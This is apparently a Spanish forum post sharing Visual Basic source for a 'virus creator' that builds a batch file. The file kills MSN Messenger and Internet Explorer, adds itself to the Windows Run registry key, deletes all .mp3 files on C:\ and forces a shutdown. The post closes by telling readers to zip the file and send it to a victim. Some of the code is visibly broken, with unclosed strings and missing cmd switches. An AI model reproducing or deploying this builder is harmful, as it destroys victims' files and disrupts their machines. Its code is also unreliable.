Acabo de crear un creador de virus .bat. Este es el código:
Form1
Agregamos un Command Buttom llamado Command1 con el texto crear virus y le ponemos este code:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo off>^Virus.bat"
Shell "cmd.exe /c echo @echo off>>^Virus.bat"
Form2.Show
End Sub

Form2
Agregamos 6 CommandButtom y les ponemos estos textos:
Command1: Matar el MSN Messenger
Command2: Infectar el PC
Command3: Borrar todos los .mp3
Command4: Matar el Internet Explorer
Command5: Mostrar un mensaje
Command6: Terminar el virus

Agregamos este código:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo taskkill msnmsgr.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command2_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v VIRUS /d %0>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command3_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo del /Q /S /F C:\*.mp3>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command4_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo taskkill iexplore.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command5_Click()
Dim mensaje As String
mensaje = Inputbox ("Escribe el mensaje")
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo msg * mensaje>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command6_Click()
Dim mensija As String
mensija = Inputbox ("Escribe un mensaje de despedida
Shell "cmd.exe cd C:\"
Shell "cmd.exe shutdown -s -f -c "mensija" -05>>^Virus.bat"
Shell "cmd.exe /c exit>>^Virus.bat"
MsgBox ("Virus terminado")
MsgBox ("Lo encontrarás terminado como C:\Virus.bat")
MsgBox ("Comprimelo con WinRar o WinZip y mandaselo a tu victima")
End Sub


Ya tendremos hecho nuestro creador de virus .bat

OK, aqui lo tienes, aunque en realidad era un ejemplo
Descargar

No sé que decir......